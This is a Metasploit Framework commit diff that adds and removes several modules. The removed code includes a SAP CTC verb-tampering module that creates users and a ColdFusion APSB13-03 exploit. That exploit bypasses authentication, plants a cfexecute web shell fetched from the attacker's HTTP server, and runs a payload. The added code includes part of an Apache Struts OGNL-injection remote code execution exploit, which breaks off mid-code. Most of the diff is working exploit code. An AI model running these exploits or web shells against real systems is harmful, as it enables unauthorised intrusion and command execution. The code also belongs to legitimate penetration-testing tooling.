Land @todbr7's recovery for @jvazquez-r7's disaster with #2168 landing

bug/bundler_fix
jvazquez-r7 2013-07-29 22:22:08 -05:00
commit 12871c2fa4
22 changed files with 309 additions and 1524 deletions

Binary file not shown.

View File

@ -180,7 +180,7 @@ module Services
def service_create(name, display_name, executable_on_host, startup=2, server=nil)
adv = session.railgun.advapi32
# SC_MANAGER_CONNECT 0x01
# SC_MANAGER_CONNECT 0x01
# SC_MANAGER_CREATE_SERVICE 0x02
# SC_MANAGER_QUERY_LOCK_STATUS 0x10
open_sc_manager(:host=>server, :access=>0x13) do |manager|
@ -292,7 +292,7 @@ module Services
# Now to grab a handle to the service.
# Thank you, Wine project for defining the DELETE constant since it,
# and all its friends, are missing from the MSDN docs.
# #define DELETE 0x00010000
# #define DELETE 0x00010000
handle = adv.OpenServiceA(manager, name, 0x10000)
if (handle["return"] == 0)
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
@ -306,51 +306,6 @@ module Services
handle["GetLastError"]
end
end
#
# Query Service Status
#
# @param (see #service_start)
#
# @return {} representing lpServiceStatus
#
# @raise (see #service_start)
#
#
def service_status(name, server=nil)
adv = session.railgun.advapi32
ret = nil
# 0x80000000 GENERIC_READ
open_sc_manager(:host=>server, :access=>0x80000000) do |manager|
# Now to grab a handle to the service.
handle = adv.OpenServiceA(manager, name, 0x80000000)
if (handle["return"] == 0)
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
end
status = adv.QueryServiceStatus(handle["return"],28)
if (status["return"] == 0)
raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{handle["GetLastError"]}")
end
vals = status['lpServiceStatus'].unpack('L*')
adv.CloseServiceHandle(handle["return"])
ret = { :type=> vals[0],
:state=> vals[1],
:controls_accepted=> vals[2],
:win32_exit_code=> vals[3],
:service_exit_code=> vals[4],
:check_point=> vals[5],
:wait_hint=> vals[6],
}
end
return ret
end
end
end

View File

@ -27,10 +27,6 @@ class Def_advapi32
def self.create_dll(dll_path = 'advapi32')
dll = DLL.new(dll_path, ApiConstants.manager)
dll.add_function('QueryServiceStatus', 'DWORD', [
['LPVOID', 'hService', 'in'],
['PBLOB', 'lpServiceStatus', 'out']])
dll.add_function('CredEnumerateA', 'BOOL', [
['PCHAR', 'Filter', 'in'],
['DWORD', 'Flags', 'in'],

View File

@ -1,113 +0,0 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => 'Gighub pulls requests files changed summary',
'Description' => %q{
This module uses the github api to summarize files changed
by pull requests.
},
'References' =>
[
['URL', 'http://developer.github.com/v3/pulls/#list-pull-requests']
],
'DisclosureDate' => 'Mar 11 2013',
'Author' => [ 'juan vazquez' ],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443),
Opt::RHOST('api.github.com'),
OptString.new("TARGETURI", [true, 'The URI directory where basic auth is enabled', '/']),
OptString.new("OWNER", [true, 'The Repo owner', 'rapid7']),
OptString.new("REPO", [true, 'The Repo name', 'metasploit-framework']),
OptString.new("USERNAME", [true, 'Github username', 'jvazquez-r7']),
OptString.new("PASSWORD", [true, 'Github password',]),
OptBool.new('SSL', [true, 'Use SSL', true])
], self.class)
end
def get_files(id)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "repos", @owner, @repo, "pulls", id, "files"),
'method' => 'GET',
'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD'])
})
if res and res.code == 200
if res.headers['X-RateLimit-Remaining'].to_i == 0
print_error("Warning Rate Limit reached retrieving files for ##{id}")
print_error("Your rate limit is #{res.headers['X-RateLimit-Limit']}")
end
files = JSON.parse(res.body)
return files.map { |f| "#{f["filename"]} => #{f["status"]}" }
else
return nil
end
end
def run
@owner = datastore["OWNER"]
@repo = datastore["REPO"]
pulls = []
page = 1
begin
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "repos", @owner, @repo, "pulls"),
'method' => 'GET',
'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']),
'vars_get' => {
'page' => "#{page}"
}
})
if res and res.code == 200 and res.headers['X-RateLimit-Remaining'].to_i > 0
p_pulls = JSON.parse(res.body)
pulls << p_pulls
pulls.flatten!
else
print_error("Error retrieving pulls requests")
return
end
page = page + 1
end while (res and res.code == 200 and not p_pulls.empty?)
results_table = Rex::Ui::Text::Table.new(
'Header' => 'GitHub Pull Requests Summary',
'Indent' => 1,
'Columns' => ['Pull #', 'Pull Title', '# Files', 'Modifications']
)
pulls.each {|p|
if p["state"] == "open"
files = get_files(p["number"])
if files.nil?
results_table << [p["number"], p["title"], "-", "-"]
next
end
results_table << [p["number"], p["title"], files.length, files.join(", ")]
end
}
print_line
print_line(results_table.to_s)
end
end

View File

@ -75,7 +75,22 @@ class Metasploit4 < Msf::Auxiliary
end
def access_configuration
print_status("#{rhost}:#{rport} - Connecting to SiteScope SOAP Interface")
data = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n"
data << "<wsns0:Envelope" + "\r\n"
data << "xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
data << "xmlns:xsd='http://www.w3.org/2001/XMLSchema'" + "\r\n"
data << "xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'" + "\r\n"
data << ">" + "\r\n"
data << "<wsns0:Body" + "\r\n"
data << "wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'" + "\r\n"
data << ">" + "\r\n"
data << "<impl:getSiteScopeConfiguration" + "\r\n"
data << "xmlns:impl='http://Api.freshtech.COM'" + "\r\n"
data << "></impl:getSiteScopeConfiguration>" + "\r\n"
data << "</wsns0:Body>" + "\r\n"
data << "</wsns0:Envelope>"
print_status("#{@peer} - Retrieving the SiteScope Configuration")
uri = normalize_uri(@uri, 'services/APISiteScopeImpl')
@ -88,6 +103,7 @@ class Metasploit4 < Msf::Auxiliary
'headers' => {
'SOAPAction' => '""',
}})
if res and res.code == 200
if res.headers['Content-Type'] =~ /boundary="(.*)"/

View File

@ -109,7 +109,26 @@ class Metasploit3 < Msf::Auxiliary
:proto => 'tcp',
:update => :unique_data
)
rescue ::RbMysql::ServerError
vprint_warning("#{peer} - #{dir} does not exist")
rescue ::RbMysql::Error => e
vprint_error("#{peer} - MySQL Error: #{e.class} #{e.to_s}")
return
rescue Rex::ConnectionTimeout => e
vprint_error("#{peer} - Timeout: #{e.message}")
return
else
print_good("#{peer} - #{dir} is a file and exists")
report_note(
:host => rhost,
:type => "filesystem.file",
:data => "#{dir} is a file and exists",
:port => rport,
:proto => 'tcp',
:update => :unique_data
)
end
return
end

View File

@ -67,4 +67,3 @@ class Metasploit3 < Msf::Auxiliary
end
end

View File

@ -1,83 +0,0 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# This module is based on, inspired by, or is a port of a plugin available in
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
# http://www.onapsis.com/research-free-solutions.php.
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
# in producing the Metasploit modules and was happy to share his knowledge and
# experience - a very cool guy.
#
# The following guys from ERP-SCAN deserve credit for their contributions -
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
# Dmitry Evdokimov.
#
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
# who have Beta tested the modules and provided excellent feedback. Some people
# just seem to enjoy hacking SAP :)
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'SAP CTC Service Verb Tampering (add user and add role)',
'Description' => %q{
This module exploits an authentication bypass vulnerability in SAP NetWeaver
CTC service. The service is vulnerable to verb tampering and allows for unauthorised
user management. SAP Note 1589525, 1624450 / DSECRG-11-041.
},
'References' =>
[
[ 'URL', 'http://erpscan.com/advisories/dsecrg-11-041-sap-netweaver-authentication-bypass-verb-tampering/' ]
],
'Author' => ['nmonkee'],
'License' => MSF_LICENSE
)
register_options([
OptString.new('USER', [true, 'Username to create']),
OptString.new('PASS', [true, 'Password for the new user']),
OptString.new('GROUP', [true, 'Group for the new user'])
], self.class)
end
def run_host(ip)
uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=' + datastore['USER'] + ',PASSWORD=' + datastore['PASS']
send_request(uri)
uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME=' + datastore['USER'] + ',GROUPNAME=' + datastore['GROUP']
send_request(uri)
end
def send_request(uri)
begin
vprint_status("#{rhost}:#{rport} - Sending request to the CTC service...")
res = send_request_cgi({
'uri' => uri,
'method' => 'HEAD',
'ctype' => 'text/xml; charset=UTF-8',
'cookie' => 'sap-usercontext=sap-language=EN'
})
if res
vprint_error("#{rhost}:#{rport} - Error code: " + res.code.to_s)
vprint_error("#{rhost}:#{rport} - Error title: " + res.message.to_s)
vprint_error("#{rhost}:#{rport} - Error message: " + res.body.to_s)
else
print_good("User successfully added")
end
rescue ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - Unable to connect")
return
end
end
end

View File

@ -1,603 +0,0 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'digest/sha1'
require 'openssl'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe ColdFusion APSB13-03',
'Description' => %q{
This module exploits a number of vulnerabilities in Adobe ColdFusion APSB13-03:
CVE-2013-0625 (arbitrary command execution in scheduleedit.cfm (9.x only)),
CVE-2013-0629 (directory traversal), and (authentication bypass)
},
'Author' =>
[
'Jon Hart <jon_hart[at]rapid7.com>', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-0625'],
[ 'CVE', '2013-0629'],
[ 'CVE', '2013-0632']
],
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }],
[
'Universal CMD',
{
'Arch' => ARCH_CMD,
'Platform' => ['unix', 'win', 'linux']
}
]
],
'DefaultTarget' => 1,
'Privileged' => true,
'Platform' => [ 'win', 'linux', 'unix' ],
'DisclosureDate' => 'Jan 15 2013'))
register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
OptBool.new('USERDS', [ true, 'Authenticate with RDS credentials', true ]),
OptString.new('CMD', [ false, 'Command to run rather than dropping a payload', '' ]),
], self.class)
register_advanced_options(
[
OptBool.new('DELETE_TASK', [ true, 'Delete scheduled task when done', true ]),
], self.class)
end
def check
exploitable = 0
exploitable += 1 if check_cve_2013_0629
exploitable += 1 if check_cve_2013_0632
exploitable > 0 ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
end
# Login any way possible, returning the cookies if successful, empty otherwise
def login
cf_cookies = {}
ways = {
'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) },
'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) },
'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) },
}
ways.each do |what, how|
these_cookies = how.call
if got_auth? these_cookies
print_status "Authenticated using '#{what}' technique"
cf_cookies = these_cookies
break
end
end
fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") if cf_cookies.empty?
cf_cookies
end
def exploit
# login
cf_cookies = login
# relative to where we operate during the exploit,
# where is the CFIDE directory?
@cf_root = "../../wwwroot/CFIDE/"
# if we managed to login, get the listener ready
datastore['URIPATH'] = rand_text_alphanumeric(6)
if (datastore['SRVHOST'] == "0.0.0.0")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
srv_port = datastore['SRVPORT'] || 80
srv_uri = "http://#{srv_host}:#{srv_port}"
start_service
# drop a payload on disk which we can used to execute
# arbitrary commands, which will be needed regardless of
# which technique (cmd, payload) the user wants
input_exec = srv_uri + "/#{datastore['URIPATH']}-e"
output_exec = "#{datastore['URIPATH']}-e.cfm"
register_file_for_cleanup @cf_root + output_exec
schedule_drop cf_cookies, input_exec, output_exec
if datastore['CMD'] and not datastore['CMD'].empty?
# now that the coldfusion exec is on disk, execute it,
# passing in the command and arguments
parts = datastore['CMD'].split(/\s+/)
res = execute output_exec, parts.shift, parts.join(' ')
print_line res.body.strip
else
# drop the payload
input_payload = srv_uri + "/#{datastore['URIPATH']}-p"
output_payload = "#{datastore['URIPATH']}-p.bat"
register_file_for_cleanup @cf_root + output_payload
schedule_drop cf_cookies, input_payload, output_payload
# make the payload executable
# XXX: windows?
execute output_exec, 'chmod', "755 #{@cf_root}#{output_payload}"
# execute the payload
execute output_exec, "#{@cf_root}#{output_payload}"
end
handler
end
def execute(cfm=nil, cmd=nil, args='')
uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}"
send_request_cgi( { 'uri' => uri, 'method' => 'GET' }, 25 )
end
def on_request_uri(cli, request)
case request.uri
when "/#{datastore['URIPATH']}-e"
cf_payload = <<-EOF
<cfparam name="url.cmd" type="string" default="id"/>
<cfparam name="url.args" type="string" default=""/>
<cfexecute name=#url.cmd# arguments=#url.args# timeout="5" variable="output" />
<cfoutput>#output#</cfoutput>
EOF
when "/#{datastore['URIPATH']}-p"
cf_payload = payload.encoded
else
cf_payload = "test"
end
send_response(cli, cf_payload, { 'Content-Type' => 'text/html' })
end
# Given a hash of cookie key value pairs, return a string
# suitable for use as an HTTP Cookie header
def build_cookie_header(cookies)
cookies.to_a.map { |a| a.join '=' }.join '; '
end
# Using the provided +cookies+, schedule a ColdFusion task
# to request content from +input_uri+ and drop it in +output_path+
def schedule_drop(cookies, input_uri, output_path)
vprint_status "Attempting to schedule ColdFusion task"
cookie_hash = cookies
scheduletasks_path = "/CFIDE/administrator/scheduler/scheduletasks.cfm"
scheduleedit_path = "/CFIDE/administrator/scheduler/scheduleedit.cfm"
# make a request to the scheduletasks page to pick up the CSRF token
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path),
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})
if res
cookie_hash.merge! get_useful_cookies res
# XXX: I can only seem to get this to work if 'Enable Session Variables'
# is disabled (Server Settings -> Memory Variables)
token = res.body.scan(/<input type="hidden" name="csrftoken" value="([^\"]+)"/).flatten.first
unless token
print_warning "Empty CSRF token found -- either CSRF is disabled (good) or we couldn't get one (bad)"
token = ''
end
else
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for task listing")
end
# make a request to the scheduletasks page again, this time passing in our CSRF token
# in an attempt to get all of the other cookies used in a request
cookie_hash.merge! get_useful_cookies res
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?csrftoken=#{token}&submit=Schedule+New+Task",
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for new task") unless res
# pick a unique task ID
task_id = SecureRandom.uuid
# drop the backdoor in the CFIDE directory so it can be executed
publish_file = "#{@cf_root}#{output_path}"
# pick a start date. This must be in the future, so pick
# one sufficiently far ahead to account for time zones,
# improper time keeping, solar flares, drift, etc.
start_date = "03/15/#{Time.now.strftime('%Y').to_i + 1}"
params = {
'csrftoken' => token,
'TaskName' => task_id,
'Group' => 'default',
'Start_Date' => start_date,
'End_Date' => '',
'ScheduleType' => 'Once',
'StartTimeOnce' => '1:37 PM',
'Interval' => 'Daily',
'StartTimeDWM' => '',
'customInterval_hour' => '0',
'customInterval_min' => '0',
'customInterval_sec' => '0',
'CustomStartTime' => '',
'CustomEndTime' => '',
'repeatradio' => 'norepeatforeverradio',
'Repeat' => '',
'crontime' => '',
'Operation' => 'HTTPRequest',
'ScheduledURL' => input_uri,
'Username' => '',
'Password' => '',
'Request_Time_out' => '',
'proxy_server' => '',
'http_proxy_port' => '',
'publish' => '1',
'publish_file' => publish_file,
'publish_overwrite' => 'on',
'eventhandler' => '',
'exclude' => '',
'onmisfire' => '',
'onexception' => '',
'oncomplete' => '',
'priority' => '5',
'retrycount' => '3',
'advancedmode' => 'true',
'adminsubmit' => 'Submit',
'taskNameOriginal' => task_id,
'groupOriginal' => 'default',
'modeOriginal' => 'server',
}
cookie_hash.merge! (get_useful_cookies res)
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduleedit_path),
'method' => 'POST',
'cookie' => build_cookie_header(cookie_hash),
'vars_post' => params,
})
if res
# if there was something wrong with the task, capture those errors
# print them and abort
errors = res.body.scan(/<li class="errorText">(.*)<\/li>/i).flatten
if errors.empty?
if res.body =~ /SessionManagement should/
fail_with(Exploit::Failure::NoAccess, "Unable to bypass CSRF")
end
print_status "Created task #{task_id}"
else
fail_with(Exploit::Failure::NoAccess, "Unable to create task #{task_id}: #{errors.join(',')}")
end
else
fail_with(Exploit::Failure::Unknown, "No response when creating task #{task_id}")
end
print_status "Executing task #{task_id}"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server",
'method' => 'GET',
'cookie' => build_cookie_header(cookie_hash),
})
if datastore['DELETE_TASK']
print_status "Removing task #{task_id}"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}",
'method' => 'GET',
'cookie' => build_cookie_header(cookie_hash),
})
end
vprint_status normalize_uri(target_uri, publish_file)
publish_file
end
# Given the HTTP response +res+, extract any interesting, non-empty
# cookies, returning them as a hash
def get_useful_cookies(res)
set_cookie = res.headers['Set-Cookie']
# Parse the Set-Cookie header
parsed_cookies = CGI::Cookie.parse(set_cookie)
# Clean up the cookies we got by:
# * Dropping Path and Expires from the parsed cookies -- we don't care
# * Dropping empty (reset) cookies
%w(Path Expires).each do |ignore|
parsed_cookies.delete ignore
parsed_cookies.delete ignore.downcase
end
parsed_cookies.keys.each do |name|
parsed_cookies[name].reject! { |value| value == '""' }
end
parsed_cookies.reject! { |name,values| values.empty? }
# the cookies always seem to start with CFAUTHORIZATION_, but
# give the module the ability to log what it got in the event
# that this stops becoming an OK assumption
unless parsed_cookies.empty?
vprint_status "Got the following cookies after authenticating: #{parsed_cookies}"
end
cookie_pattern = /^CF/
useful_cookies = parsed_cookies.select { |name,value| name =~ cookie_pattern }
if useful_cookies.empty?
vprint_status "No #{cookie_pattern} cookies found"
else
vprint_status "The following cookies could be used for future authentication: #{useful_cookies}"
end
useful_cookies
end
# Authenticates to ColdFusion Administrator via the adminapi using the
# specified +user+ and +password+. If +use_rds+ is true, it is assumed that
# the provided credentials are for RDS, otherwise they are assumed to be
# credentials for ColdFusion Administrator.
#
# Returns a hash (cookie name => value) of the cookies obtained
def adminapi_login(user, password, use_rds)
vprint_status "Attempting ColdFusion Administrator adminapi login"
user ||= ''
password ||= ''
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)),
'method' => 'POST',
'vars_post' => {
'method' => 'login',
'adminUserId' => user,
'adminPassword' => password,
'rdsPasswordAllowed' => (use_rds ? '1' : '0')
}
})
if res
if res.code == 200
vprint_status "HTTP #{res.code} when authenticating"
return get_useful_cookies(res)
else
print_error "HTTP #{res.code} when authenticating"
end
else
print_error "No response when authenticating"
end
{}
end
# Authenticates to ColdFusion Administrator using the specified +user+ and
# +password+
#
# Returns a hash (cookie name => value) of the cookies obtained
def administrator_login(user, password)
cf_cookies = administrator_9x_login user, password
unless got_auth? cf_cookies
cf_cookies = administrator_10x_login user, password
end
cf_cookies
end
def administrator_10x_login(user, password)
# coldfusion 10 appears to do:
# cfadminPassword.value = hex_sha1(cfadminPassword.value)
vprint_status "Trying ColdFusion 10.x Administrator login"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
'method' => 'POST',
'vars_post' => {
'cfadminUserId' => user,
'cfadminPassword' => Digest::SHA1.hexdigest(password).upcase,
'requestedURL' => '/CFIDE/administrator/index.cfm',
'submit' => 'Login',
}
})
if res
if res.code.to_s =~ /^30[12]/
useful_cookies = get_useful_cookies res
if got_auth? useful_cookies
return useful_cookies
end
else
if res.body =~ /<title>Error/i
print_status "Appears to be restricted and/or not ColdFusion 10.x"
elsif res.body =~ /A License exception has occurred/i
print_status "Is license restricted"
else
vprint_status "Got unexpected HTTP #{res.code} response when sending a ColdFusion 10.x request. Not 10.x?"
vprint_status res.body
end
end
end
return {}
end
def got_auth?(cookies)
not cookies.select { |name,values| name =~ /^CFAUTHORIZATION_/ }.empty?
end
def administrator_9x_login(user, password)
vprint_status "Trying ColdFusion 9.x Administrator login"
# coldfusion 9 appears to do:
# cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value));
#
# You can get a current salt from
# http://<host>:8500/CFIDE/adminapi/administrator.cfc?method=getSalt&name=CFIDE.adminapi.administrator&path=/CFIDE/adminapi/administrator.cfc#method_getSalt
#
# Unfortunately that URL might be restricted and the salt really just looks
# to be the current time represented as the number of milliseconds since
# the epoch, so just use that
salt = (Time.now.to_i * 1000).to_s
pass = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), salt, Digest::SHA1.hexdigest(password).upcase).upcase
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
'method' => 'POST',
'vars_post' => {
'submit' => 'Login',
'salt' => salt,
'cfadminUserId' => user,
'requestedURL' => '/CFIDE/administrator/index.cfm',
'cfadminPassword' => pass,
}
})
if res
return get_useful_cookies res
else
print_error "No response while trying ColdFusion 9.x authentication"
end
{}
end
# Authenticates to ColdFusion ComponentUtils using the specified +user+ and +password+
#
# Returns a hash (cookie name => value) of the cookies obtained
def componentutils_login(user, password)
vprint_status "Attempting ColdFusion ComponentUtils login"
vars = {
'j_password_required' => "Password+Required",
'submit' => 'Login',
}
vars['rdsUserId'] = user if user
vars['j_password'] = password if password
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE componentutils cfcexplorer.cfc)),
'method' => 'POST',
'connection' => 'TE, close',
'vars_post' => vars
})
cf_cookies = {}
if res.code.to_s =~ /^(?:200|30[12])$/
cf_cookies = get_useful_cookies res
else
print_error "HTTP #{res.code} while attempting ColdFusion ComponentUtils login"
end
cf_cookies
end
def check_cve_2013_0629
vulns = 0
paths = %w(../../../license.txt ../../../../license.html)
# first try password-less bypass in the event that this thing
# was just wide open
vuln_without_creds = false
paths.each do |path|
if traverse_read(path, nil) =~ /ADOBE SYSTEMS INCORPORATED/
vulns += 1
vuln_without_creds = true
break
end
end
if vuln_without_creds
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 without credentials"
else
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 without credentials"
end
# if credentials are provided, try those too
if datastore['USERNAME'] and datastore['PASSWORD']
vuln_without_bypass = false
paths.each do |path|
cf_cookies = componentutils_login(datastore['USERNAME'], datastore['PASSWORD'])
if traverse_read(path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
vulns += 1
vuln_without_bypass = true
break
end
end
if vuln_without_bypass
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 with credentials"
else
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 with credentials"
end
end
# now try with the CVE-2013-0632 bypass, in the event that this wasn't *totally* wide open
vuln_with_bypass = false
paths.each do |path|
cf_cookies = adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true)
# we need to take the cookie value from CFAUTHORIZATION_cfadmin
# and use it for CFAUTHORIZATION_componentutils
cf_cookies['CFAUTHORIZATION_componentutils'] = cf_cookies['CFAUTHORIZATION_cfadmin']
cf_cookies.delete('CFAUTHORIZATION_cfadmin')
if traverse_read(path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
vulns += 1
vuln_with_bypass = true
break
end
end
if vuln_with_bypass
print_status("#{datastore['RHOST']} is vulnerable to CVE-2013-0629 in combination with CVE-2013-0632")
else
print_status("#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 in combination with CVE-2013-0632")
end
vulns > 0
end
# Checks for CVE-2013-0632, returning true if the target is
# vulnerable, false otherwise
def check_cve_2013_0632
if datastore['USERDS']
# the vulnerability for CVE-2013-0632 is that if RDS is disabled during install but
# subsequently *enabled* after install, the password is unset so we simply must
# check that and only that.
cf_cookies = adminapi_login(Rex::Text.rand_text_alpha(4), Rex::Text.rand_text_alpha(4), true)
if cf_cookies.empty?
print_status("#{datastore['RHOST']} is not vulnerable to CVE-2013-0632")
else
print_status("#{datastore['RHOST']} is vulnerable to CVE-2013-0632")
return true
end
else
print_error("Cannot test #{datastore['RHOST']} CVE-2013-0632 with USERDS off")
end
false
end
# Read the file located at +path+ using the provided ColdFusion +cookies+,
# returning the contents of the file if found, an empty string otherwise
def traverse_read(path, cookies)
uri = normalize_uri(target_uri.path)
uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path="
uri << path
res = send_request_cgi(
{
'uri' => uri,
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookies)
})
if res and res.body
res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '')
else
return ""
end
end
end

View File

@ -0,0 +1,166 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts ParametersInterceptor Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows
for the use of parentheses which in turn allows it to interpret parameter values as
OGNL expressions during certain exception handling for mismatched data types of
properties which allows remote attackers to execute arbitrary Java code via a
crafted parameter.
},
'Author' =>
[
'Meder Kydyraliev', # Vulnerability Discovery and PoC
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
'mihi' #ARCH_JAVA support
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-3923'],
[ 'OSVDB', '78501'],
[ 'URL', 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html'],
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-009']
],
'Platform' => [ 'win', 'linux', 'java'],
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'windows'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => 'Oct 01 2011',
'DefaultTarget' => 2))
register_options(
[
Opt::RPORT(8080),
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',"username"]),
OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"]),
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
], self.class)
end
def execute_command(cmd, opts = {})
inject = "PARAMETERTOKEN=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=+new+java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
inject << "=+new+java.lang.Boolean(true),CMD)('meh')&z[(PARAMETERTOKEN)(meh)]=true"
inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['PARAMETER']))
inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd))
uri = String.new(datastore['TARGETURI'])
uri = normalize_uri(uri)
uri.gsub!(/INJECT/,inject) # append the injection string
resp = send_request_cgi({
'uri' => uri,
'version' => '1.1',
'method' => 'GET',
})
return resp #Used for check function.
end
def exploit
#Set up generic values.
@payload_exe = rand_text_alphanumeric(4+rand(4))
pl_exe = generate_payload_exe
append = 'false'
#Now arch specific...
case target['Platform']
when 'linux'
@payload_exe = "/tmp/#{@payload_exe}"
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
when 'java'
@payload_exe << ".jar"
pl_exe = payload.encoded_jar.pack
exec_cmd = ""
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
